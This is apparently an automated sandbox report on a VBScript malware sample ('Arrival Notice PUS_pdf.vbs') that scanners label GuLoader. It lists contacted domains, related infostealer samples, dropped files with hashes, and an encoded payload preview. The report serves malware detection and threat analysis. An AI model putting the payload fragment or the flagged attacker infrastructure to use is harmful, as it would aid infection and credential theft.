DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Arrival Notice PUS_pdf.vbs	13%	ReversingLabs	Script-WScript.Trojan.Guloader
Arrival Notice PUS_pdf.vbs	15%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse
mail.myhydropowered.com	5%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://crl.microsoft	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
drive.google.com	142.251.15.139	true	false		high
drive.usercontent.google.com	142.250.105.132	true	false		high
api.ipify.org	104.26.13.205	true	false		high
ip-api.com	208.95.112.1	true	false		high
mail.myhydropowered.com	unknown	unknown	true	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	false		high
http://drive.usercontent.google.com	powershell.exe, 00000003.00000002.2266575309.00000189233D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.microsoft	powershell.exe, 00000009.00000002.2003068899.00000000032BF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.2266575309.0000018922882000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.googP	powershell.exe, 00000003.00000002.2266575309.0000018923399000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 00000003.00000002.2266575309.0000018922EAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921817000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.googh	powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com	powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://drive.google.com	powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.2266575309.00000189215F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2266575309.00000189215F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.comhP	powershell.exe, 00000003.00000002.2266575309.0000018921A7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
142.251.15.139	drive.google.com	United States	15169	GOOGLEUS	false
142.250.105.132	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427934
Start date and time:	2024-04-18 11:06:00 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Arrival Notice PUS_pdf.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@13/9@5/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 124 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7660 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8108 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:06:52	API Interceptor	1x Sleep call for process: wscript.exe modified
11:07:05	API Interceptor	4266x Sleep call for process: powershell.exe modified
11:07:59	API Interceptor	3676x Sleep call for process: wab.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	dgxK76VlXC.exe	Get hash	malicious	AsyncRAT, StormKitty, SugarDump, VenomRAT, XWorm, XenoRAT	Browse	ip-api.com/line/?fields=hosting
104.26.13.205	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	208.95.112.1
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
bg.microsoft.map.fastly.net	Transferencias SEPA.vbs	Get hash	malicious	Unknown	Browse	199.232.210.172
	FACTURA 130424435.vbs	Get hash	malicious	Unknown	Browse	199.232.210.172
	justificant de transfer#U00e8ncia.vbs	Get hash	malicious	Unknown	Browse	199.232.214.172
	Justificante de pago.vbs	Get hash	malicious	Unknown	Browse	199.232.210.172
	awb_shipping_documents_17_04_2024_00000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	199.232.214.172
	http://185.91.69.110	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://ranchpools.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://windowdefalerts-error0x21903-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://windowdefalerts-error0x21908-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://windowdefalerts-error0x21902-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
api.ipify.org	Purchase Order PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.1728.1300.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	SecuriteInfo.com.Win32.MalwareX-gen.3610.30636.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	invoice & packing list.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ZG17uv37pi.exe	Get hash	malicious	Unknown	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5FU4LRpQdy.rtf	Get hash	malicious	Remcos	Browse	104.21.84.67
	NEW ORDER.doc	Get hash	malicious	HTMLPhisher	Browse	104.21.25.202
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	5Dw2hTQmiB.exe	Get hash	malicious	LummaC	Browse	104.21.44.10
	Purchase Order PDF.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	104.21.44.10
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://ortelia.com/Downloads/Curator/CuratorSetup.exe	Get hash	malicious	Havoc	Browse	1.1.1.1
TUT-ASUS	yDOZ8nTvm8.rtf	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Fizetes,jpg.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Cintillo 2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	208.95.112.1
	QUOTATION-#170424.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	dekont.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PO JSC_109117.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LISTS GREEN VALLY CORP.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Transferencias SEPA.vbs	Get hash	malicious	Unknown	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	shipping doc.vbs	Get hash	malicious	GuLoader	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	FACTURA 130424435.vbs	Get hash	malicious	Unknown	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	justificant de transfer#U00e8ncia.vbs	Get hash	malicious	Unknown	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	Justificante de pago.vbs	Get hash	malicious	Unknown	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	Purchase Order PDF.exe	Get hash	malicious	AgentTesla	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	SecuriteInfo.com.Variant.MSILHeracles.77820.8707.3938.exe	Get hash	malicious	Unknown	Browse	142.251.15.139 142.250.105.132 104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.1728.1300.exe	Get hash	malicious	AgentTesla	Browse	142.251.15.139 142.250.105.132 104.26.13.205
37f463bf4616ecd445d4a1937da06e19	shipping doc.vbs	Get hash	malicious	GuLoader	Browse	142.251.15.139 142.250.105.132
	u2.bat	Get hash	malicious	Bazar Loader, Qbot	Browse	142.251.15.139 142.250.105.132
	SecuriteInfo.com.Trojan.PWS.RedLineNET.9.27772.28937.exe	Get hash	malicious	Phonk Miner, PureLog Stealer, Vidar	Browse	142.251.15.139 142.250.105.132
	file.exe	Get hash	malicious	Vidar	Browse	142.251.15.139 142.250.105.132
	FACTURA2402616 - BP.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	142.251.15.139 142.250.105.132
	#U03a3#U03a5#U039c#U0392#U039f#U039b#U0391#U0399#U039f DEV8759-pdf.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	142.251.15.139 142.250.105.132
	#U03a3#U03a5#U039c#U0392#U039f#U039b#U0391#U0399#U039f DEV8759-pdf.exe	Get hash	malicious	GuLoader	Browse	142.251.15.139 142.250.105.132
	file.exe	Get hash	malicious	Vidar	Browse	142.251.15.139 142.250.105.132
	S#U00d6ZLE#U015eME DEV8759 - pdf.exe	Get hash	malicious	GuLoader	Browse	142.251.15.139 142.250.105.132
	CONTRACTUL DEV8759-pdf.exe	Get hash	malicious	GuLoader	Browse	142.251.15.139 142.250.105.132

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.217505909494558
Encrypted:	false
SSDEEP:	6:kKldMllEN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:ClbkPlE99SNxAhUeVLVt
MD5:	F34839D70EB1CB8AC310A63F2190F067
SHA1:	A8B529FBA942CA692578FF1FE9D6B7D3D52DE675
SHA-256:	7DA0DC49C592CEF615528D84113ABCDFF51A7AFB307646DA7D29102274586110
SHA-512:	9AE2375284D018CD7B05F55F8AA5FC8445A659F0BA2A5F6B1003CE836A953E270C096BD54FB566935B3529C49A11068321D686270F1B86AFF7E86CA5709D674D
Malicious:	false
Reputation:	low
Preview:	p...... ............o...(....................................................... ........M.........(.....wl....i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.886255615007755
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9sT:lVib49+VoGIpN6KQkj2xkjh4iUx4cYK6
MD5:	C7F7A26360E678A83AFAB85054B538EA
SHA1:	B9C885922370EE7573E7C8CF0DDB8D97B7F6F022
SHA-256:	C3D527BCA7A1D1A398F5BE0C70237BD69281601DFD7D1ED6D389B2FD8E3BC713
SHA-512:	9F2F9DA5F4BF202A08BADCD4EF9CE159269EF47B657C6F67DC3C9FDB4EE0005CE5D0A9B4218DB383BAD53222B728B77B591CB5F41781AB30EF145CC7DB7D4F77
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aaqfbwvt.xte.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_el1m15uv.qqi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jnu3giay.tgb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_realgte5.3nq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Australians.Hov

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	447556
Entropy (8bit):	5.964935009024267
Encrypted:	false
SSDEEP:	12288:ZOey8mg9jB2TGdg69B1H0FIxB/pTH0pdlIvxI:ZOey8vN2G1LlpBxTK4O
MD5:	6C03450B7DF387C19D5C8B35A16DF0F2
SHA1:	931D81D4308B4BC4963720B7C241AB99CB5F7F75
SHA-256:	49F59F2297BEC5B10C4B085DC130BB75BB7DC06E71D74D333663365DF8A5C65D
SHA-512:	C1160590583CA0381BB07360D7B328E552BF8EDE681616283394AA254C4011A09C1F86F760FA9E62C31AB3FC2F9AB083E5BFDD24178EF84D4AFC2582CAA400A1
Malicious:	false
Preview:	6wKMSHEBm7vKWxoAcQGb6wIAmwNcJARxAZtxAZu5jBta4HEBm+sCxjmB8dlSp33rAhey6wJ0P4HxVUn9nXEBm+sCOu9xAZvrAiHUumfb13pxAZtxAZtxAZvrAvWgMcpxAZvrAk89iRQLcQGb6wJnC9HicQGb6wKBQIPBBOsCRF3rAhdngfn2dp4FfMpxAZtxAZuLRCQEcQGbcQGbicNxAZvrAkrtgcNNUJYA6wKK+nEBm7rApxy/6wIWW+sC0QaB8ilmqGLrAuRG6wK/JoHy6cG03XEBm3EBm3EBm+sCU87rAl2j6wLYzosMEOsCCcpxAZuJDBNxAZvrAr1jQnEBm+sCCF2B+pyrBAB11HEBm+sC8pCJXCQM6wI/HnEBm4HtAAMAAOsCExNxAZuLVCQI6wKsyXEBm4t8JATrAqlRcQGbievrAvF26wI164HDnAAAAHEBm3EBm1PrAtMR6wIC0GpA6wI7/esCvYmJ63EBm+sCR5DHgwABAAAA4LsFcQGbcQGbgcMAAQAA6wKsbXEBm1PrAlUw6wL6k4nrcQGbcQGbibsEAQAAcQGbcQGbgcMEAQAAcQGbcQGbU+sCa2vrAurZav9xAZtxAZuDwgXrAjLg6wLEkTH26wKYf3EBmzHJcQGbcQGbixpxAZvrAkvFQesC0GnrAhYFORwKdfLrAhDK6wKL2EZxAZvrAoBUgHwK+7h12+sCeihxAZuLRAr86wLyI+sC520p8OsC3uRxAZv/0nEBm3EBm7qcqwQAcQGb6wLD8zHA6wKydesChLiLfCQMcQGbcQGbgTQHpeC5u+sC3hPrAs+Sg8AE6wI4iOsCEk450HXicQGbcQGbifvrApqN6wLTov/XcQGb